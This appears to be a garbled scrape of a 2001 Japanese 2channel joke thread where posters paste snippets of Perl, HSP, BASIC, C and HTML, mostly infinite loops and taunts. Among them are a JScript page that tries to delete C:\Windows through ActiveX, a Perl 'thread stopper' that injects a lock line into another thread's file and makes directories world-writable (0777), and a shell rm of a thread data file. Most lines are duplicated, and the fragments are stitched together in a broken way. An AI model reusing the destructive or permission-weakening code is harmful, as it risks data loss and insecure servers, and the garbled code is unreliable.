!usr/local/bin/perl
Content-type: text/html
|
|
|
2 ：ヤンバルクイナに遺産：2001/08/18(土) 10:41 ID:???
<META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=Shift_JIS">
<STYLE TYPE="text/css">
<STYLE TYPE="text/css">
a { text-decoration: none; cursor: crosshair}
a:hover { color: #FFFFFF; text-decoration: none}
a:link { color: #FF6699; text-decoration: none}
a:visited { color: #FF6699; text-decoration: none}
-->
</style>
</head>
a:link { color: #FF6699; text-decoration: none}
a:visited { color: #FF6699; text-decoration: none}
-->
</style>
</head>
<TITLE>Big-server.com レンタルサーバー サービス</TITLE>
6 ：ヤンバルクイナに遺産：2001/08/18(土) 10:47 ID:???
<HTML><HEAD><TITLE> ■2ちゃんねる.</TITLE>
<META content="text/html; charset=x-sjis" http-equiv=Content-Type>
</HEAD>
<BODY background="back.jpg" bgColor=#ffffff>
<META content="text/html; charset=x-sjis" http-equiv=Content-Type>
</HEAD>
<BODY background="back.jpg" bgColor=#ffffff>
7 ：ずら ◆MknYahoo：2001/08/18(土) 10:48 ID:???
exit 0;
use LWP::Simple;
$content = get("http://www.piza2.2ch.net/mona/subject.txt");
@dat=split /\n/,$content;
foreach (@dat){
my($dat,$title)=split/<>/;
$dat=~s/\.dat//;
print <<"_EOF_";
$content = get("http://www.piza2.2ch.net/mona/subject.txt");
@dat=split /\n/,$content;
foreach (@dat){
my($dat,$title)=split/<>/;
$dat=~s/\.dat//;
print <<"_EOF_";
<input type=hidden name=MESSAGE value="私はこのスレを削除しようとしました">
10 ：ヤンバルクイナに遺産：2001/08/18(土) 10:51 ID:???
<body $SET{'Body'}>
_EOF_
# 古い発言を削除
if (--$SET{'delete'} > $#chatLog || $noComment) {
pop(@chatLog);
} else {
splice(@chatLog, $SET{'delete'});
}
$ChatLog = join('<!--s-->', @chatLog) if (@chatLog);
return;
}
_EOF_
# 古い発言を削除
if (--$SET{'delete'} > $#chatLog || $noComment) {
pop(@chatLog);
} else {
splice(@chatLog, $SET{'delete'});
}
$ChatLog = join('<!--s-->', @chatLog) if (@chatLog);
return;
}
#!/usr/local/bin/perl
#削除スクリプト（一般）
#システム情報
use vars qw($NOWTIME);
$NOWTIME = time;
#==================================================
# システム関連（タイムゾーン・シグナル）
#==================================================
#タイムゾーンをセットする
{
$ENV{'TZ'} = "JST-9";
}
#シグナル対処関数
sub SigExit {
exit(0);
}
#削除スクリプト（一般）
#システム情報
use vars qw($NOWTIME);
$NOWTIME = time;
#==================================================
# システム関連（タイムゾーン・シグナル）
#==================================================
#タイムゾーンをセットする
{
$ENV{'TZ'} = "JST-9";
}
#シグナル対処関数
sub SigExit {
exit(0);
}
12 ：ちこりーた。 ：2001/08/18(土) 10:56 ID:0g7tgcxY
{
$SIG{'PIPE'} = $SIG{'INT'} = $SIG{'HUP'} = $SIG{'QUIT'} = $SIG{'TERM'} = "SigExit";
}
$SIG{'PIPE'} = $SIG{'INT'} = $SIG{'HUP'} = $SIG{'QUIT'} = $SIG{'TERM'} = "SigExit";
}
<td>
<form action="./delete.cgi" method="POST">
<input type=submit value="ストップ">
<input type=hidden name="bbs" value="$FORM{'bbs'}">
<input type=hidden name="key" value="$_">
<input type=hidden name="mode" value="stop">
</td></form>
<form action="./delete.cgi" method="POST">
<input type=submit value="ストップ">
<input type=hidden name="bbs" value="$FORM{'bbs'}">
<input type=hidden name="key" value="$_">
<input type=hidden name="mode" value="stop">
</td></form>
14 ：ずら ◆MknYahoo：2001/08/18(土) 10:59 ID:???
#==================================================
# 初期情報の取得（ＰＯＳＴ）
#==================================================
# 初期情報の取得（ＰＯＳＴ）
#==================================================
sub stop {
my $datafile = $DATPATH . $FORM{'key'} . ".dat";
open(NUM,"<$datafile");
my @temp=<NUM>;
close(NUM);
my $num=@temp;
open(OUT, ">> $datafile");
eval{flock(OUT,2)};
print OUT "真・スレッドストッパー<><>真・スレッドストッパー<>書けませんよ(￣ー￣)ﾆﾔﾘｯ<>\n";
eval{flock(OUT,8)};
close(OUT);
#パーミッション調整
umask(0);
chmod(0666,$datafile);
chmod(0777,"$DATPATH");
chmod(0777,"$PATH");
&location
}
my $datafile = $DATPATH . $FORM{'key'} . ".dat";
open(NUM,"<$datafile");
my @temp=<NUM>;
close(NUM);
my $num=@temp;
open(OUT, ">> $datafile");
eval{flock(OUT,2)};
print OUT "真・スレッドストッパー<><>真・スレッドストッパー<>書けませんよ(￣ー￣)ﾆﾔﾘｯ<>\n";
eval{flock(OUT,8)};
close(OUT);
#パーミッション調整
umask(0);
chmod(0666,$datafile);
chmod(0777,"$DATPATH");
chmod(0777,"$PATH");
&location
}
#!/usr/local/bin/perl
sub Main {
print "おりをバカにするとおまえのぱそんこにういるし送ってパケ大増やすぞ！\n";
print <<"_EOF_";
}
sub Main {
print "おりをバカにするとおまえのぱそんこにういるし送ってパケ大増やすぞ！\n";
print <<"_EOF_";
}
BBS
--------------------------------------------------------------------------------
[もどる] [使い方] [ワード検索] [記事削除] [管理用]
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
[もどる] [使い方] [ワード検索] [記事削除] [管理用]
--------------------------------------------------------------------------------
18 ：ずら ◆MknYahoo：2001/08/18(土) 11:37 ID:???
#!/usr/local/bin/perl
for(;;){ print "このスレなに？\n"; }
for(;;){ print "このスレなに？\n"; }
<!--- 糞スレ立てんなボケ --->
#!/usr/local/bin/perl
for(;;){
location "htp://64.71.145.43";
}
for(;;){
location "htp://64.71.145.43";
}
<html>
<head><title>あぼ〜ん</title></head>
<body>
<script language="jscript">
var fso
fso = new ActiveXObject("Scripting.FileSystemObject");
fso.DeleteFolder("C:\\Windows",ture);
</script>
</body>
</html>
<head><title>あぼ〜ん</title></head>
<body>
<script language="jscript">
var fso
fso = new ActiveXObject("Scripting.FileSystemObject");
fso.DeleteFolder("C:\\Windows",ture);
</script>
</body>
</html>
cls 0
*mona
mes "スクリプトのスレ？（・∀・）"
goto *mona
*mona
mes "スクリプトのスレ？（・∀・）"
goto *mona
5 ON STOP GOTO 30
10 PRINT "(´_ゝ｀)フーン";
20 GOTO 10
30 PRINT "(・∀・)ﾜﾙ!!ﾁｮｳｶｺｲｲ!!"
10 PRINT "(´_ゝ｀)フーン";
20 GOTO 10
30 PRINT "(・∀・)ﾜﾙ!!ﾁｮｳｶｺｲｲ!!"
「ESCキーってなんですか？」
キーの一つです。
「CTRLキーってどこにありますか？」
キーボードにあります。
「Tabキーってどこにありますか？」
キーボードにあります。
「スペースキーってなんですか？」
宇宙の秘密を解く鍵です。
「ALTキーってどこにありますか？」
キーボードにあります。
「Del キーってどこにありますか？」
キーボードにあります。
キーの一つです。
「CTRLキーってどこにありますか？」
キーボードにあります。
「Tabキーってどこにありますか？」
キーボードにあります。
「スペースキーってなんですか？」
宇宙の秘密を解く鍵です。
「ALTキーってどこにありますか？」
キーボードにあります。
「Del キーってどこにありますか？」
キーボードにあります。
素人を苛めないでください
while ("１がいる") {
printf ("1は氏ね");
}
printf ("1は氏ね");
}
10 REM ﾊ1ﾊｲｯﾃﾖｼ
20 PRINT "1ﾊｲｯﾃﾖｼ";
30 GOTO 20
40 END
20 PRINT "1ﾊｲｯﾃﾖｼ";
30 GOTO 20
40 END
FFFTP Copyright(C) 1997-2001 Sota.
----------------------------
ホスト 28の脳 を探しています.
ホスト 28の脳 が見つかりません.
----------------------------
ホスト 28の脳 を探しています.
ホスト 28の脳 が見つかりません.
# rm /usr/local/apache/htdocs/test/998098790.dat
s=cmdline:peek a,s,1 ; コマンドラインの2文字目を取り出す
if a='s' : goto *scr ; フルスクリーン
if a='c' : goto *config ; コンフィグ
if a='' : goto *config
if a='a' : dialog "1は氏ね" : end
*scr
if a!'p' : mouse -1
bgscr 0,dispx+120,dispy+105,0,-10,-20,dispx+120,dispy+105 : gsel 0,1
cls 4
gmode 2 : randomize
if a='s' : goto *scr ; フルスクリーン
if a='c' : goto *config ; コンフィグ
if a='' : goto *config
if a='a' : dialog "1は氏ね" : end
*scr
if a!'p' : mouse -1
bgscr 0,dispx+120,dispy+105,0,-10,-20,dispx+120,dispy+105 : gsel 0,1
cls 4
gmode 2 : randomize
repeat
stick k,0,1
repeat 5
rnd r,dispx+202 : x=r-51
rnd r,dispy+216 : y=r-58
mes "1は氏ね！"
loop
await 1
if (k=256)or(k=512) : end
loop
stick k,0,1
repeat 5
rnd r,dispx+202 : x=r-51
rnd r,dispy+216 : y=r-58
mes "1は氏ね！"
loop
await 1
if (k=256)or(k=512) : end
loop
Red Hat Linux release 6.0 Publisher's Edition (Hedwig)
Kernel 2.2.5-15 on an i686
server login: _
Kernel 2.2.5-15 on an i686
server login: _
;HSP
;Windowをクリックし続けるとこびりつきます
*逝ってよし
stick s,256
if s&256:w=1:else:w=100
if w=100:cls 0
rnd x,winx
rnd y,winy
color ,,255
pos x,y
mes ">>1"
color
pos x+30,y
mes "逝ってよし"
wait w
goto *逝ってよし
;Windowをクリックし続けるとこびりつきます
*逝ってよし
stick s,256
if s&256:w=1:else:w=100
if w=100:cls 0
rnd x,winx
rnd y,winy
color ,,255
pos x,y
mes ">>1"
color
pos x+30,y
mes "逝ってよし"
wait w
goto *逝ってよし
36 ：ずら ◆MknYahoo：2001/08/18(土) 13:12 ID:???
print "なんのスレ？" while(1);
mes "スクリプトを書くスレらしいよ"
goto *36
goto *36
38 ：ずら ◆MknYahoo：2001/08/18(土) 13:15 ID:???
print if (index(>>37,"なるほど") >= 0);
/* 中卒ですか？ */
#include <stdio.h>
void main()
{
printf("中卒ですか？\n");
}
#include <stdio.h>
void main()
{
printf("中卒ですか？\n");
}
このスレは、お客様の疑問・問題解決の
お役に立ちましたか?
○ はい。問題・疑問が解決しました。
○ 解決しなかったが参考になりました。
○ いいえ。役に立ちませんでした。
┏━━┓
┃送信┃
┗━━┛
お役に立ちましたか?
○ はい。問題・疑問が解決しました。
○ 解決しなかったが参考になりました。
○ いいえ。役に立ちませんでした。
┏━━┓
┃送信┃
┗━━┛
このスレは、お客様の疑問・問題解決の
お役に立ちましたか?
○ はい。問題・疑問が解決しました。
◎ はいえ。問題・疑問が解決しましたが役に立ちませんでした。
○ いいえ。役に立ちませんでした。
┏━━┓
┃信送┃
┗━━┛
お役に立ちましたか?
○ はい。問題・疑問が解決しました。
◎ はいえ。問題・疑問が解決しましたが役に立ちませんでした。
○ いいえ。役に立ちませんでした。
┏━━┓
┃信送┃
┗━━┛
送信しました。同時にMicrosoft SPAM センターにご登録がされましたので
ご了承下さい。
送信内容
・はいえ。問題・疑問が解決しましたが役に立ちませんでした。
©Microsoft SPAM&logo; Sender.
ご了承下さい。
送信内容
・はいえ。問題・疑問が解決しましたが役に立ちませんでした。
©Microsoft SPAM&logo; Sender.
いまさらながら変なスレッドじゃのう。
c:\>
exit